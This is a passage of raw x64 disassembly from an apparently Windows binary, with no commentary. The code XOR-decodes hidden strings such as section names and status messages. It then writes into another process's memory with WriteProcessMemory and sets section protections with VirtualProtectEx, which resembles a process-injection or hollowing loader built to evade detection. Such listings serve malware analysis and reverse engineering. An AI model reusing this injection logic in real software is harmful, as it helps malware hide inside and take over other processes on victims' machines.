mov byte [rsp + 0x64d], al
movsx eax, byte [rsp + 0x648]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d3c54]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x64e], al
lea rax, [rsp + 0x64f]
lea rax, [rsp + 0x64f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x150], 0
jmp 0x14007860e
mov rax, qword [rsp + 0x150]
inc rax
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 6
jae 0x140078672
mov rax, qword [rsp + 0x150]
lea rax, [rsp + rax + 0x649]
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x648]
xor eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x150]
lea rax, [rsp + rax + 0x649]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov cl, byte [rsp + 0x63]
mov byte [rax], cl
jmp 0x1400785fb
mov eax, 6
imul rax, rax, 1
lea rax, [rsp + rax + 0x649]
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a0]
mov byte [rax], 0
lea rax, [rsp + 0x649]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x4a8]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400786cd
inc rax
test dl, dl
jne 0x1400786bb
xor eax, eax
jmp 0x1400786d2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400786e3
mov dword [rsp + 0xa8], 1
jmp 0x1400786ee
mov dword [rsp + 0xa8], 0
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0
jne 0x140078ad9
mov byte [rsp + 0x640], 0x3b
movsx eax, byte [rsp + 0x640]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str..rsrc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x641], al
movsx eax, byte [rsp + 0x640]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str..rsrc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x642], al
movsx eax, byte [rsp + 0x640]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str..rsrc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x643], al
movsx eax, byte [rsp + 0x640]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str..rsrc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x644], al
movsx eax, byte [rsp + 0x640]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str..rsrc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x645], al
lea rax, [rsp + 0x646]
lea rax, [rsp + 0x646]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x158], 0
jmp 0x140078812
mov rax, qword [rsp + 0x158]
inc rax
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 5
jae 0x140078876
mov rax, qword [rsp + 0x158]
lea rax, [rsp + rax + 0x641]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x640]
xor eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x158]
lea rax, [rsp + rax + 0x641]
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x4b8]
mov cl, byte [rsp + 0x64]
mov byte [rax], cl
jmp 0x1400787ff
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x641]
mov qword [rsp + 0x4c0], rax
mov rax, qword [rsp + 0x4c0]
mov byte [rax], 0
lea rax, [rsp + 0x641]
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x4c8]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400788d1
inc rax
test dl, dl
jne 0x1400788bf
xor eax, eax
jmp 0x1400788d6
sbb eax, eax
or eax, 1
test eax, eax
je 0x140078ad9
mov byte [rsp + 0x650], 0x19
movsx eax, byte [rsp + 0x650]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str..reloc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x651], al
movsx eax, byte [rsp + 0x650]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str..reloc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x652], al
movsx eax, byte [rsp + 0x650]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str..reloc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x653], al
movsx eax, byte [rsp + 0x650]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str..reloc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x654], al
movsx eax, byte [rsp + 0x650]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str..reloc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x655], al
movsx eax, byte [rsp + 0x650]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str..reloc
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x656], al
lea rax, [rsp + 0x657]
lea rax, [rsp + 0x657]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x160], 0
jmp 0x140078a0d
mov rax, qword [rsp + 0x160]
inc rax
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 6
jae 0x140078a71
mov rax, qword [rsp + 0x160]
lea rax, [rsp + rax + 0x651]
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x650]
xor eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x160]
lea rax, [rsp + rax + 0x651]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov cl, byte [rsp + 0x65]
mov byte [rax], cl
jmp 0x1400789fa
mov eax, 6
imul rax, rax, 1
lea rax, [rsp + rax + 0x651]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4e0]
mov byte [rax], 0
lea rax, [rsp + 0x651]
mov qword [rsp + 0x4e8], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x4e8]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140078acc
inc rax
test dl, dl
jne 0x140078aba
xor eax, eax
jmp 0x140078ad1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400794d3
mov byte [rsp + 0x708], 0x18
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x709], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70a], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70b], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70c], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70d], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70e], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70f], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x710], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x711], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x712], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x713], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x714], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x715], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x716], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x717], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x718], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x719], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x71a], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x71b], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x71c], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x71d], al
movsx eax, byte [rsp + 0x708]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Processing__s_removal_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x71e], al
lea rax, [rsp + 0x71f]
lea rax, [rsp + 0x71f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x168], 0
jmp 0x140078e78
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 0x16
jae 0x140078edc
mov rax, qword [rsp + 0x168]
lea rax, [rsp + rax + 0x709]
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x4f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x708]
xor eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x168]
lea rax, [rsp + rax + 0x709]
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x4f8]
mov cl, byte [rsp + 0x66]
mov byte [rax], cl
jmp 0x140078e65
mov eax, 0x16
imul rax, rax, 1
lea rax, [rsp + rax + 0x709]
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x500]
mov byte [rax], 0
lea rax, [rsp + 0x709]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x40]
mov rdx, rax
mov rcx, qword [rsp + 0x508]
call fcn.140005fa4
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x190]
mov rdx, rcx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400794d3
mov byte [rsp + 0x818], 0x47
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x819], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81a], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81b], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81c], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81d], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81e], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81f], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x820], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x821], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x822], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x823], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x824], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x825], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x826], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x827], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x828], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x829], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82a], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82b], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82c], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82d], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82e], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x82f], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x830], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x831], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x832], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x833], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x834], al
movsx eax, byte [rsp + 0x818]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Cant_clear_section__s:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x835], al
lea rax, [rsp + 0x836]
lea rax, [rsp + 0x836]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x170], 0
jmp 0x14007941d
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
cmp qword [rsp + 0x170], 0x1d
jae 0x140079481
mov rax, qword [rsp + 0x170]
lea rax, [rsp + rax + 0x819]
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x818]
xor eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x170]
lea rax, [rsp + rax + 0x819]
mov qword [rsp + 0x518], rax
mov rax, qword [rsp + 0x518]
mov cl, byte [rsp + 0x67]
mov byte [rax], cl
jmp 0x14007940a
mov eax, 0x1d
imul rax, rax, 1
lea rax, [rsp + rax + 0x819]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov byte [rax], 0
lea rax, [rsp + 0x819]
mov qword [rsp + 0x528], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x40]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x528]
call fcn.140005fa4
jmp 0x14007847d
movzx eax, byte [rsp + 0xa48]
test eax, eax
je 0x14007a05b
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x98], 0
jmp 0x14007952b
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x178]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x98], eax
je 0x14007a015
mov rax, qword [rsp + 0x40]
cmp dword [rax + 8], 0
je 0x14007a010
mov dword [rsp + 0x1c8], 0
mov dword [rsp + 0x70], 2
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
and eax, 0x80000000
test eax, eax
jbe 0x140079581
mov dword [rsp + 0x70], 4
jmp 0x14007959a
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
jbe 0x14007959a
mov dword [rsp + 0x70], 0x20
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
lea rdx, [rsp + 0x1c8]
mov qword [rsp + 0x20], rdx
mov r9d, dword [rsp + 0x70]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140079a39
mov byte [rsp + 0x720], 0x21
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x721], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x722], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x723], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x724], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x725], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x726], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x727], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x728], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x729], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72a], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72b], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72c], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72d], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72e], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72f], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x730], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x731], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x732], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x733], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x734], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x735], al
movsx eax, byte [rsp + 0x720]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.section__s_set_as__lX_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x736], al
lea rax, [rsp + 0x737]
lea rax, [rsp + 0x737]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x180], 0
jmp 0x140079982
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
cmp qword [rsp + 0x180], 0x16
jae 0x1400799e6
mov rax, qword [rsp + 0x180]
lea rax, [rsp + rax + 0x721]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x720]
xor eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x180]
lea rax, [rsp + rax + 0x721]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x538]
mov cl, byte [rsp + 0x68]
mov byte [rax], cl
jmp 0x14007996f
